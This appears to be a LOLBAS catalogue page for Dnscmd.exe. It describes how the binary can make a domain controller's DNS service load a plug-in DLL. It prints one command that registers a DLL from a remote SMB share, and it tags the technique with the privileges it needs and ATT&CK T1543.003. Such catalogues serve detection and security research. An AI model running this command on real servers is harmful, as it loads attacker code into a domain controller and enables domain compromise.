.. /Dnscmd.exe
Star

Execute (DLL)

A command-line interface for managing DNS servers


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

    dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
    Use case
    Remotely inject dll to dns server
    Privileges required
    DNS admin
    Operating systems
    Windows server
    ATT&CK® technique
    T1543.003
    Tags
    Execute: DLL
    This LOLBAS executes Dynamic-Link Libraries (DLLs).